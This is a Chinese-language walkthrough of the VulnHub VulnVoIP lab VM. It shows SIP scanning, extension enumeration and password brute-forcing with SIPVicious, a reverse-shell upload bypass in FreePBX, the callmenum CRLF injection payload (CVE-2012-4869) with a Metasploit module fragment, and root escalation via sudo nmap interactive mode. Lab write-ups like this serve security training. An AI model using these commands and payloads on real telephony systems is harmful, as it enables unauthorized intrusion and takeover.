HackLAB: VulnVoIP
项目地址:https://download.vulnhub.com/hacklab/vulnVoIP.7z
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

基于 FreePBX (HTTP 80) + Asterisk (5038) + MySQL (3306),AI 分析给出是 PBX 网络电话系统
对于这种终端设备,我们可以使用工具 svmap 扫描拿到精确的版本,下载地址
svmap 是 SIPVicious 工具集中的核心扫描器,其本质是一个 SIP 协议扫描器。它的唯一目标是定位正在监听 SIP 消息的活跃设备,并获取它们的详细身份信息
在 SIP 协议中,User-Agent 和 Server 这两个头部字段类似于 HTTP 协议,其作用是指明发送请求或生成响应的 SIP 用户代理软件(UA)或服务器软件的名称和版本
1 | SIP/2.0 200 OK |
1 | python3 -m sipvicious.svmap 192.168.202.159 |

虽然知道是 PBX,但我们不知道内部具体的分机号是多少。没有分机号,就无法进行后续的密码爆破或呼叫劫持
svwar 是 SIPVicious 工具集中的分机枚举工具,它的主要作用是通过暴力破解或顺序扫描的方式,识别出目标 PBX 系统中真实存在的用户账号(分机号)
1 | # -D (Auto-Detect): 它让工具先发送一个探测包,自动检测目标服务器在面对不存在的分机时会返回什么样的错误码(比如 404 Not Found 或 401 Unauthorized) |

爆破密码
1 | python3 -m sipvicious.svcrack -u 2000 -d /usr/share/wordlists/rockyou.txt 192.168.202.159 |

安装 x-lite,把网络设置为桥接
弱口令
Asterisk PBX
用户 2000,密码 password123

输入密码 0000,然后再按 1,听第一条信息

1 | …Hey Mark, I think the support web access account has been compromised. I have changed the password to securesupport123 all one word and lowercase. You can log on at the usual address. See you in the morning… |
FreePBX
1 | support:securesupport123 |

RCE
Upload moudule(.tgz 绕过)
找到一个文件上传模块在 Module Admin 中

只能上传压缩文件,绕过方式如下
- 选创建一个文件夹
- 将反弹 Shell 放入其中
- 打包成 shell-1.0.tgz 的形式,使用
tar -czvf命令(带 -1.0 是要符合网站命令规范)

上传成功

扫描后台找到上传的位置

进去后看到压缩文件被自动解压缩了

freepbx_callmenum(2012-4869)
MSF 搜索相关漏洞

1 | class MetasploitModule < Msf::Exploit::Remote |
该漏洞存在于 callme_page.php 脚本中
当用户调用该页面时,系统会尝试启动一个呼叫任务,而关键参数 callmenum 没有经过任何过滤,就直接参与了 Asterisk 呼叫文件(Call File) 的拼接
Asterisk 系统使用一种特定格式的文本文件(通常位于 /var/spool/asterisk/outgoing/)来发起呼叫
这些文件的格式是基于 Key: Value 的
生成呼叫逻辑是:
1 | Channel: Local/200@from-internal/n |
注入的 Payload
1 | ...callme_page.php?action=c&callmenum=200@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20[PAYLOAD] |
可以看出来注入原理就是 CRLF 注入
代码中的 %0D%0A 代表回车换行。通过注入这两个字符,攻击者可以终结当前配置行并伪造新的配置行
注入后的呼叫文件变成了:
1 | Channel: Local/200@from-internal/n <-- 原本的行 |
提权
Python 升级为交互式 Shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
发现给了 nmap 和 yum 的高权限

NMap 交互模式提权
利用其交互模式新建 Shell 提权
1 | sudo nmap --interactive |
